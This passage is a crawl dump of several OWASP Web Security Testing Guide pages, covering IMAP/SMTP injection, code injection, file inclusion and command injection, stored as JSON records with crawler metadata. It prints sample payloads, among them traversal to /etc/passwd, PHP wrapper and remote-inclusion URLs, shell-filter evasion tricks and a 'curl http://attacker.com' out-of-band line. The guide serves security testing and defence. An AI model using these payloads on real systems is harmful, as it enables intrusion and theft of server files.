parameter:\n\n`https:///src/read_body.php?passed_id=46106&startMessage=1`\n\nThe final result of the above testing gives the tester three possible situations:\n\n1. The application returns an error code/message\n2. The application does not return an error code/message, but it does not realize the requested operation\n3. The application does not return an error code/message and realizes the operation requested normally\n\nSituations S1 and S2 represent successful IMAP/SMTP injection.\n\nAn attacker’s aim is receiving the S1 response, as it is an indicator that the application is vulnerable to injection and further manipulation.\n\nLet’s suppose that a user retrieves the email headers using the following HTTP request:\n\n`https:///src/view_header.php?mailbox=INBOX&passed_id=46105&passed_ent_id=0`\n\nAn attacker might modify the value of the parameter INBOX by injecting the character `\"` (%22 using URL encoding):\n\n`https:///src/view_header.php?mailbox=INBOX%22&passed_id=46105&passed_ent_id=0`\n\nIn this case, the application answer may be:\n\n```\nERROR: Bad or malformed request.\nQuery: SELECT \"INBOX\"\"\nServer responded: Unexpected extra arguments to Select\n```\n\nThe situation S2 is harder to test successfully. The tester needs to use blind command injection in order to determine if the server is vulnerable.\n\nOn the other hand, the last situation (S3) is not relevant in this paragraph.\n\n> List of vulnerable parameters\n> \n> - Affected functionality\n> - Type of possible injection (IMAP/SMTP)\n\n### Understanding the Data Flow and Deployment Structure of the Client\n\nAfter identifying all vulnerable parameters (for example, `passed_id`), the tester needs to determine what level of injection is possible and then design a testing plan to further exploit the application.\n\nIn this test case, we have detected that the application’s `passed_id` parameter is vulnerable and is used in the following request:\n\n`https:///src/read_body.php?mailbox=INBOX&passed_id=46225&startMessage=1`\n\nUsing the following test case (providing an alphabetical value when a numerical value is required):\n\n`https:///src/read_body.php?mailbox=INBOX&passed_id=test&startMessage=1`\n\nwill generate the following error message:\n\n```\nERROR : Bad or malformed request.\nQuery: FETCH test:test BODY[HEADER]\nServer responded: Error in IMAP command received by server.\n```\n\nIn this example, the error message returned the name of the executed command and the corresponding parameters.\n\nIn other situations, the error message (`not controlled` by the application) contains the name of the executed command, but reading the suitable RFC allows the tester to understand what other possible commands can be executed.\n\nIf the application does not return descriptive error messages, the tester needs to analyze the affected functionality to deduce all the possible commands (and parameters) associated with the above mentioned functionality. For example, if a vulnerable parameter has been detected in the create mailbox functionality, it is logical to assume that the affected IMAP command is `CREATE`. According to the RFC, the `CREATE` command accepts one parameter which specifies the name of the mailbox to create.\n\n> List of IMAP/SMTP commands affected\n> \n> - Type, value, and number of parameters expected by the affected IMAP/SMTP commands\n\n### IMAP/SMTP Command Injection\n\nOnce the tester has identified vulnerable parameters and has analyzed the context in which they are executed, the next stage is exploiting the functionality.\n\nThis stage has two possible outcomes:\n\n1. The injection is possible in an unauthenticated state: the affected functionality does not require the user to be authenticated. The injected (IMAP) commands available are limited to: `CAPABILITY` , `NOOP` , `AUTHENTICATE` , `LOGIN` , and `LOGOUT` .\n2. The injection is only possible in an authenticated state: the successful exploitation requires the user to be fully authenticated before testing can continue.\n\nIn any case, the typical structure of an IMAP/SMTP Injection is as follows:\n\n- Header: ending of the expected command;\n- Body: injection of the new command;\n- Footer: beginning of the expected command.\n\nIt is important to remember that, in order to execute an IMAP/SMTP command, the previous command must be terminated with the CRLF (`%0d%0a`) sequence.\n\nLet’s suppose that in the Identifying vulnerable parameters stage, the attacker detects that the parameter `message_id` in the following request is vulnerable:\n\n`https:///read_email.php?message_id=4791`\n\nLet’s suppose also that the outcome of the analysis performed in the stage 2 (“Understanding the data flow and deployment structure of the client”) has identified the command and arguments associated with this parameter as:\n\n`FETCH 4791 BODY[HEADER]`\n\nIn this scenario, the IMAP injection structure would be:\n\n`https:///read_email.php?message_id=4791 BODY[HEADER]%0d%0aV100 CAPABILITY%0d%0aV101 FETCH 4791`\n\nWhich would generate the following commands:\n\n```\n???? FETCH 4791 BODY[HEADER] V100 CAPABILITY V101 FETCH 4791 BODY[HEADER] \n```\n\nwhere:\n\n```\nHeader = 4791 BODY[HEADER] Body = %0d%0aV100 CAPABILITY%0d%0a Footer = V101 FETCH 4791 \n```\n\n> List of IMAP/SMTP commands affected\n> \n> - Arbitrary IMAP/SMTP command injection\n\n## References\n\n### Whitepapers\n\n- [RFC 0821 “Simple Mail Transfer Protocol”](https://tools.ietf.org/html/rfc821)\n- [RFC 3501 “Internet Message Access Protocol - Version 4rev1”](https://tools.ietf.org/html/rfc3501)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 9350, "slov": 1280, "odkazu": 204, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:53:33", "sha256": "af38664030c5abc0255d9477d34b2bda813db7bafcbeffb3438a2c51499ae75b", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://tools.ietf.org/html/rfc821", "https://tools.ietf.org/html/rfc3501", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/11-Code_Injection", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/11-Code_Injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/11-Code_Injection", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "07-Injection"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Code Injection"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "PHP Injection Vulnerabilities"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 4, "text": "ASP Code Injection Vulnerabilities"}, {"uroven": 3, "text": "References"}], "markdown": "# WSTG - Latest\n\n# Code Injection\n\n| ID |\n| --- |\n| WSTG-INJT-11 |\n\n## Summary\n\nThis section describes how a tester can check if it is possible to enter code as input on a web page and have it executed by the web server.\n\nIn [Code Injection](https://owasp.org/www-community/attacks/Code_Injection) testing, a tester submits input that is processed by the web server as dynamic code or as an included file. These tests can target various server-side scripting engines, e.g., ASP or PHP. Proper input validation and secure coding practices need to be employed to protect against these attacks.\n\n## Test Objectives\n\n- Identify injection points where you can inject code into the application.\n- Assess the injection severity.\n\n## How to Test\n\n### Black-Box Testing\n\n#### PHP Injection Vulnerabilities\n\nUsing the querystring, the tester can inject code (in this example, a malicious URL) to be processed as part of the included file:\n\n`https://www.example.com/uptime.php?pin=https://www.example2.com/packx1/cs.jpg?&cmd=uname%20-a`\n\n> The malicious URL is accepted as a parameter for the PHP page, which will later use the value in an included file.\n\n### Gray-Box Testing\n\n#### ASP Code Injection Vulnerabilities\n\nExamine ASP code for user input used in execution functions. Can the user enter commands into the Data input field? Here, the ASP code will save the input to a file and then execute it:\n\n```\n<%\nIf not isEmpty(Request( \"Data\" ) ) Then\nDim fso, f\n'User input Data is written to a file named data.txt\nSet fso = CreateObject(\"Scripting.FileSystemObject\")\nSet f = fso.OpenTextFile(Server.MapPath( \"data.txt\" ), 8, True)\nf.Write Request(\"Data\") & vbCrLf\nf.close\nSet f = nothing\nSet fso = Nothing\n\n'Data.txt is executed\nServer.Execute( \"data.txt\" )\n\nElse\n%>\n\n
\n\n\n
\n<%\nEnd If\n%>)))\n```\n\n### References\n\n- [Insecure.org](https://insecure.org/)\n- [Wikipedia](https://www.wikipedia.org)\n- [Reviewing Code for OS Injection](https://wiki.owasp.org/index.php/OS_Injection)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2060, "slov": 285, "odkazu": 204, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:53:36", "sha256": "8ea1d4d22905219abd81c7a0dbaba655c9b58b3638dd33c34a6b86f8ad85d5a8", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://insecure.org/", "https://www.wikipedia.org/", "https://wiki.owasp.org/index.php/OS_Injection", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/11.1-File_Inclusion", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/11.1-File_Inclusion", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/11.1-File_Inclusion", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "07-Injection"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "File Inclusion"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Local File Inclusion"}, {"uroven": 4, "text": "Null Byte Injection"}, {"uroven": 4, "text": "Path and Dot Truncation"}, {"uroven": 4, "text": "PHP Wrappers"}, {"uroven": 5, "text": "PHP Filter"}, {"uroven": 5, "text": "PHP ZIP"}, {"uroven": 5, "text": "PHP Data"}, {"uroven": 5, "text": "PHP Expect"}, {"uroven": 3, "text": "Remote File Inclusion"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# File Inclusion\n\n## Summary\n\nThe File Inclusion vulnerability allows an attacker to include a file, usually exploiting a “dynamic file inclusion” mechanism implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.\n\nThis can lead to something as simple as outputting the contents of the file, but it can also lead to:\n\n- Code execution on the web server\n- Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS)\n- Denial of Service (DoS)\n- Sensitive Information Disclosure\n\nLocal File Inclusion (LFI) is the process of including files that are already present on the server through exploitation of vulnerable inclusion procedures implemented in the application. For example, this vulnerability occurs when a page receives input that is a path to a local file. This input is not properly sanitized, allowing directory traversal characters to be injected (such as `../` – see 4.5.1 [Testing Directory Traversal File Include](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization/01-Directory_Traversal_File_Include)).\n\nRemote File Inclusion (RFI) is the process of including files from remote sources through exploitation of vulnerable inclusion procedures implemented in the application. For example, this vulnerability occurs when a page receives input that is the URL to a remote file. This input is not properly sanitized, allowing external URLs to be injected.\n\nIn both cases, although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP, etc.\n\n## Test Objectives\n\n- Identify file inclusion points.\n- Assess the severity or potential impact of the vulnerabilities.\n\n## How to Test\n\n### Local File Inclusion\n\nSince LFI occurs when paths passed to `include` statements are not properly sanitized, in a black-box testing approach, we should look for functionality that accepts file names/paths as parameters.\n\nConsider the following example:\n\n`https://vulnerable_host/preview.php?file=example.html`\n\nThis looks to be a promising place to try LFI. If the application does not select the appropriate page given in the `file` parameter and instead directly includes the input, it is possible to include arbitrary files from the server.\n\nA typical proof-of-concept exploit would be to attempt to load the `passwd` file with:\n\n`https://vulnerable_host/preview.php?file=../../../../etc/passwd`\n\nIf the above mentioned conditions are met, an attacker would see something like the following included in the response:\n\n```\nroot:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nalex:x:500:500:alex:/home/alex:/bin/bash\nmargo:x:501:501::/home/margo:/bin/bash\n...\n```\n\nEven when such a vulnerability exists, its exploitation could be more complex in real life scenarios. Consider the following piece of code:\n\n```\n \n```\n\nSimple substitution with a random filename would not work as the postfix `.php` is appended to the provided input. In order to bypass it, a tester can use several techniques to get the expected exploitation.\n\n#### Null Byte Injection\n\nThe `null character` (also known as `null terminator` or `null byte`) is a control character with the value zero present in many character sets that is being used as a reserved character to mark the end of a string. Once used, any character after this special byte will be ignored. Commonly the way to inject this character would be with the URL encoded string `%00` by appending it to the requested path. In our previous sample, performing a request to `https://vulnerable_host/preview.php?file=../../../../etc/passwd%00` would ignore the `.php` extension being added to the input filename, returning to an attacker a list of basic users as a result of a successful exploitation.\n\n#### Path and Dot Truncation\n\nMost PHP installations have a filename limit of 4096 bytes. If any given filename is longer than that length, PHP simply truncates it, discarding any additional characters. Abusing this behavior makes it possible to make the PHP engine ignore the `.php` extension by moving it out of the 4096 bytes limit. When this happens, no error is triggered; the additional characters are simply dropped and PHP continues its execution normally.\n\nThis bypass would commonly be combined with other logic bypass strategies such as encoding part of the file path with Unicode encoding, the introduction of double encoding, or any other input that would still represent the valid desired filename.\n\n#### PHP Wrappers\n\nLocal File Inclusion vulnerabilities are commonly seen as read only vulnerabilities that an attacker can use to read sensitive data from the server hosting the vulnerable application. However, in some specific implementations this vulnerability can be used to upgrade the attack [from LFI to Remote Code Execution](https://corben.io/blog/17-01-01-zip-to-rce-lfi) vulnerabilities that could potentially fully compromise the host.\n\nThis enhancement is common when an attacker could be able to combine the [LFI vulnerability with certain PHP wrappers](https://www.netsparker.com/blog/web-security/php-stream-wrappers/).\n\nA wrapper is a code that surrounds other code to perform some added functionality. PHP implements many [built-in wrappers](https://www.php.net/manual/en/wrappers.php) to be used with file system functions. Once their usage is detected during the testing process of an application, it’s a good practice to try to abuse it to identify the real risk of the detected weakness(es). Below is a list with the most commonly used wrappers, even though you should consider that it is not exhaustive and at the same time it is possible to register custom wrappers that if employed by the target, would require a deeper adhoc analysis.\n\n##### PHP Filter\n\nUsed to access the local file system; this is a case insensitive wrapper that provides the capability to apply filters to a stream at the time of opening a file. This wrapper can be used to get content of a file preventing the server from executing it. For example, allowing an attacker to read the content of PHP files to get source code to identify sensitive information such as credentials or other exploitable vulnerabilities.\n\nThe wrapper can be used like `php://filter/convert.base64-encode/resource=FILE` where `FILE` is the file to retrieve. As a result of the usage of this execution, the content of the target file would be read, encoded to base64 (this is the step that prevents the execution server-side), and returned to the User-Agent.\n\n##### PHP ZIP\n\nIn PHP 7.2.0, the `zip://` wrapper was introduced to manipulate `zip` compressed files. This wrapper expects the following parameter structure: `zip:///filename_path#internal_filename`. The `filename_path` is the path to the malicious ZIP archive and `internal_filename` is the path of the malicious file placed inside the processed ZIP file. During the exploitation, it’s common that the `#` would be encoded with its URL encoded value `%23`.\n\nAbuse of this wrapper could allow an attacker to design a malicious ZIP file that could be uploaded to the server, for example as an avatar image or using any file upload system available on the target site (the `php:zip://` wrapper does not require the ZIP file to have any specific extension) to be executed by the LFI vulnerability.\n\nIn order to test this vulnerability, the following procedure could be followed to attack the previous code example provided.\n\n1. Create the PHP file to be executed, for example with the content `` and save it as `code.php` .\n2. Compress it as a new ZIP file called `target.zip` .\n3. Rename the `target.zip` file to `target.jpg` to bypass the extension validation and upload it to the target website as your avatar image.\n4. Supposing that the `target.jpg` file is stored locally on the server to the `../avatar/target.jpg` path, exploit the vulnerability with the PHP ZIP wrapper by injecting the following payload to the vulnerable URL: `zip://../avatar/target.jpg%23code` (remember that `%23` corresponds to `#` ).\n\nSince on our sample the `.php` extension is concatenated to our payload, the request to `https://vulnerable_host/preview.php?file=zip://../avatar/target.jpg%23code` will result in the execution of the `code.php` file existing in the malicious ZIP file.\n\n##### PHP Data\n\nAvailable since PHP 5.2.0, this wrapper expects the following usage: `data://text/plain;base64,BASE64_STR` where `BASE64_STR` is expected to be the base64 encoded content of the file to be processed. It’s important to consider that this wrapper would only be available if the option `allow_url_include` would be enabled.\n\nIn order to test for LFI using this wrapper, the code to be executed should be base64 encoded. For example, `` would be encoded as: `PD9waHAgcGhwaW5mbygpOyA/Pg==` and the payload would be represented as: `data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==`.\n\n##### PHP Expect\n\nThis wrapper, which is not enabled by default, provides access to processes `stdio`, `stdout`, and `stderr`. Given in the format `expect://command`, the server would execute the provided command using `BASH` and return the result.\n\n### Remote File Inclusion\n\nSince RFI occurs when URLs passed to `include` statements are not properly sanitized, in a black-box testing approach, we should look for scripts that take filenames as parameters. Consider the following PHP example:\n\n```\n$incfile = $_REQUEST[\"file\"]; include($incfile.\".php\"); \n```\n\nIn this example the path is extracted from the HTTP request and no input validation is done (for example, by checking the input against an allow list), so this snippet of code is vulnerable to this type of attack. Consider the following URL:\n\n`https://vulnerable_host/vuln_page.php?file=https://attacker_site/malicous_page`\n\nIn this case the remote file is going to be included and any code contained in it is going to be run by the server.\n\n## Remediation\n\nThe most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API. If this is not possible, the application can maintain an allow list of files that may be included by the page, and then use an identifier (for example, the index number) to access the selected file. Any request containing an invalid identifier should be rejected so that there is no opportunity for malicious users to manipulate the path.\nCheck out the [File Upload Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html) for good security practices on this topic.\n\n## Tools\n\n- [kadimus](https://github.com/P0cL4bs/Kadimus)\n- [LFI Suite](https://github.com/D35m0nd142/LFISuite)\n- [Zed Attack Proxy (ZAP)](https://www.zaproxy.org)\n\n## References\n\n- [Wikipedia](https://www.wikipedia.org/wiki/Local_File_Inclusion)\n- [Null character](https://en.wikipedia.org/wiki/Null_character)\n- [Unicode Encoding](https://owasp.org/www-community/attacks/Unicode_Encoding)\n- [Double Encoding](https://owasp.org/www-community/Double_Encoding)\n- [PHP Supported Protocols and Wrappers](https://www.php.net/manual/en/wrappers.php)\n- [RFC 2397 - The “data” URL scheme](https://www.rfc-editor.org/rfc/rfc2397)\n- [Wikipedia: “Remote File Inclusion”](https://en.wikipedia.org/wiki/Remote_File_Inclusion)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 11379, "slov": 1627, "odkazu": 213, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:53:39", "sha256": "5a04443891259ac053e1c534d00a1f7f8c9b50db028483db2519f5120bc58ee0", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://corben.io/blog/17-01-01-zip-to-rce-lfi", "https://www.netsparker.com/blog/web-security/php-stream-wrappers/", "https://www.php.net/manual/en/wrappers.php", "https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html", "https://github.com/P0cL4bs/Kadimus", "https://github.com/D35m0nd142/LFISuite", "https://www.zaproxy.org/", "https://www.wikipedia.org/wiki/Local_File_Inclusion", "https://en.wikipedia.org/wiki/Null_character", "https://www.rfc-editor.org/rfc/rfc2397", "https://en.wikipedia.org/wiki/Remote_File_Inclusion", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/12-Command_Injection", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/12-Command_Injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/12-Command_Injection", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "07-Injection"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Command Injection"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Example"}, {"uroven": 2, "text": "Special Characters for Command Injection"}, {"uroven": 2, "text": "Additional Command Injection Techniques"}, {"uroven": 3, "text": "Command Substitution"}, {"uroven": 3, "text": "Command Chaining"}, {"uroven": 3, "text": "File Redirection"}, {"uroven": 3, "text": "Out-of-Band Command Injection"}, {"uroven": 2, "text": "Filter Evasion"}, {"uroven": 3, "text": "Methodology"}, {"uroven": 3, "text": "Special Characters Filter Evasion"}, {"uroven": 4, "text": "URL Encoding"}, {"uroven": 4, "text": "Environment Variables"}, {"uroven": 4, "text": "Bash Brace Expansion"}, {"uroven": 3, "text": "Commands Filter Evasion"}, {"uroven": 4, "text": "Case Modification"}, {"uroven": 4, "text": "Character Insertion"}, {"uroven": 4, "text": "Base64 Encoding"}, {"uroven": 2, "text": "Blind Command Injection"}, {"uroven": 2, "text": "Dangerous Command Execution APIs"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 3, "text": "Sanitization"}, {"uroven": 3, "text": "Permissions"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# Command Injection\n\n| ID |\n| --- |\n| WSTG-INJT-12 |\n\n## Summary\n\nThis article describes how to test an application for OS command injection. The tester will try to inject an OS command through an HTTP request to the application.\n\nOS command injection is a vulnerability that occurs when user input is directly passed to an operating system command without proper validation or sanitization. This allows the user to inject and execute arbitrary commands on the server which can lead to unauthorized data access, data corruption, and full server compromise. This vulnerability can be prevented by emphasizing security during the design and development of applications.\n\n## Test Objectives\n\n- Identify and assess command injection points.\n- Bypass special characters and OS commands filter.\n\n## How to Test\n\nWhen viewing a file in a web application, the filename is often shown in the URL. Perl allows piping data from a process into an open statement. The user can simply append the Pipe symbol `|` onto the end of the filename.\n\nExample URL before alteration:\n\n`https://sensitive/cgi-bin/userData.pl?doc=user1.txt`\n\nExample URL modified:\n\n`https://sensitive/cgi-bin/userData.pl?doc=user1.txt|/bin/ls`\n\nThis will execute the command `/bin/ls`.\n\nAppending a semicolon to the end of a URL for a .PHP page followed by an operating system command, will execute the command. `%3B` is URL encoded and decodes to semicolon\n\nExample:\n\n`https://sensitive/something.php?dir=%3Bcat%20/etc/passwd`\n\n### Example\n\nConsider the case of an application that contains a set of documents that you can browse from the internet. If you fire up a personal proxy (such as ZAP or Burp Suite), you can obtain a POST HTTP like the following (`https://www.example.com/public/doc`):\n\n```\nPOST /public/doc HTTP/1.1\nHost: www.example.com\n[...]\nReferer: https://127.0.0.1/WebGoat/attack?Screen=20\nCookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5\nAuthorization: Basic T2Vbc1Q9Z3V2Tc3e=\nContent-Type: application/x-www-form-urlencoded\nContent-length: 33\n\nDoc=Doc1.pdf\n```\n\nIn this post request, we notice how the application retrieves the public documentation. Now we can test if it is possible to add an operating system command to inject in the POST HTTP. Try the following (`https://www.example.com/public/doc`):\n\n```\nPOST /public/doc HTTP/1.1\nHost: www.example.com\n[...]\nReferer: https://127.0.0.1/WebGoat/attack?Screen=20\nCookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5\nAuthorization: Basic T2Vbc1Q9Z3V2Tc3e=\nContent-Type: application/x-www-form-urlencoded\nContent-length: 33\n\nDoc=Doc1.pdf+|+Dir c:\\\n```\n\nIf the application doesn’t validate the request, we can obtain the following result:\n\n```\n Exec Results for 'cmd.exe /c type \"C:\\httpd\\public\\doc\\\"Doc=Doc1.pdf+|+Dir c:\\'\n Output...\n Il volume nell'unità C non ha etichetta.\n Numero di serie Del volume: 8E3F-4B61\n Directory of c:\\\n 18/10/2006 00:27 2,675 Dir_Prog.txt\n 18/10/2006 00:28 3,887 Dir_ProgFile.txt\n 16/11/2006 10:43\n Doc\n 11/11/2006 17:25\n Documents and Settings\n 25/10/2006 03:11\n I386\n 14/11/2006 18:51\n h4ck3r\n 30/09/2005 21:40 25,934\n OWASP1.JPG\n 03/11/2006 18:29\n Prog\n 18/11/2006 11:20\n Program Files\n 16/11/2006 21:12\n Software\n 24/10/2006 18:25\n Setup\n 24/10/2006 23:37\n Technologies\n 18/11/2006 11:14\n 3 File 32,496 byte\n 13 Directory 6,921,269,248 byte disponibili\n Return code: 0\n```\n\nIn this case, we have successfully performed an OS injection attack.\n\n## Special Characters for Command Injection\n\nSpecial characters are used to chain multiple commands together.\nThese characters will vary based on the operating system running on the web server.\nFor instance, the following types of command chaining can be used on both Windows and Unix-based systems :\n\n- `cmd1|cmd2` : cmd2 will be executed whether cmd1 succeeds or not.\n- `cmd1||cmd2` : cmd2 will only be executed if cmd1 fails.\n- `cmd1&&cmd2` : cmd2 will only be executed if cmd1 succeeds.\n- `cmd1&cmd2` : cmd2 will be executed whether cmd1 succeeds or not.\n\nSemi-colon `;` will work on Unix-based systems and PowerShell. However, it will not work on Windows Command Prompt (CMD).\n\nFurthermore, you can use Bash command substitution `$(cmd)` or ``cmd`` to execute commands on Unix-based systems.\n\nAdditionally, Linux file descriptors such as `>(cmd)`, `<(cmd)` can also be used.\n\n## Additional Command Injection Techniques\n\nAttackers may leverage different techniques to execute operating system commands depending on the environment and filtering mechanisms.\n\n### Command Substitution\n\nCommand substitution allows the output of one command to be used as input to another command.\n\nExamples:\n\n```\n$(whoami) `whoami` \n```\n\n### Command Chaining\n\nMultiple commands can be executed sequentially using command chaining operators.\n\nExamples:\n\n```\ncmd1 ; cmd2\ncmd1 && cmd2\ncmd1 || cmd2\n```\n\n### File Redirection\n\nAttackers may redirect command output to files accessible by the web server.\n\nExample:\n\n```\nwhoami > /var/www/html/output.txt\n```\n\n### Out-of-Band Command Injection\n\nAttackers may use external services to detect command execution.\n\nExamples:\n\n```\ncurl http://attacker.com\nnslookup attacker.com\n```\n\n## Filter Evasion\n\nTo prevent OS command injection, web developers often use filters. However, these filters are sometimes not properly implemented which allows attackers to bypass them.\nIn this section, we will cover different techniques used to bypass those filters.\n\n### Methodology\n\nFirst of all, it is always good practice to have a basic understanding of how the filter works before trying to bypass it.\nHere is a methodology we can use when we come across a filter:\n\n- Is the filter client-side or server-side ?\n- Is the filter applied on special characters, OS commands, or both ?\n- Is the webapp using an allowlist or blocklist filter ?\n- What OS is running on the web server? This allows us to have an idea of the commands and special characters we can use.\n\n### Special Characters Filter Evasion\n\nAs previously mentioned, filters can either be applied on special characters, OS commands or both.\nTo bypass filters applied on special characters, we can use environment variables, Bash brace expansion or URL encoding.\n\n#### URL Encoding\n\nURL encoding special characters can allow us to bypass the filter if the web server only blocks the plaintext special characters.\nHere are some special characters with their URL encoded format:\n\n| Special Character | URL Encoding |\n| --- | --- |\n| ; | %3b |\n| space | %20 |\n| tab | %09 |\n| & | %26 |\n| New line | %0a |\n\nFor instance, instead of using `;whoami`, we could use `%3bwhoami`.\n\n#### Environment Variables\n\nSpecial characters like space, semi-colon, tab, or new line will generally be filtered by the web server especially if they are not useful for the specified input.\n\nTo escape this restriction, we can use environment variables such as **IFS**, **PATH** or **LS_COLORS** on Linux, and **HOMEPATH** on Windows.\n\nFor instance, on Linux, `/`, `;`, and `[space]` can be replaced respectively with `${PATH:0:1}`, `${LS_COLORS:10:1}`, and `${IFS}`.\n\nOn Windows CMD, we can replace `\\` with `%HOMEPATH:~6,1%`, or use `$env:HOMEPATH[0]` in PowerShell.\n\n#### Bash Brace Expansion\n\nBash brace expansion is a Bash feature that allows you to execute commands by using curly braces.\n\nFor example, `{ls,-la}` will execute `ls -la` command. This can be extremely useful if the web server is filtering space, new line, or tab characters.\n\nLet’s assume that we want to display the content of ‘/etc/passwd’ file. Thus, instead of using `;cat /etc/passwd`, we can use `;{cat,/etc/passwd}`.\nThat said, it’s important to note that this technique will only work if the web server is using Bash and if characters like `}{/,;` are not filtered.\n\n### Commands Filter Evasion\n\nIn 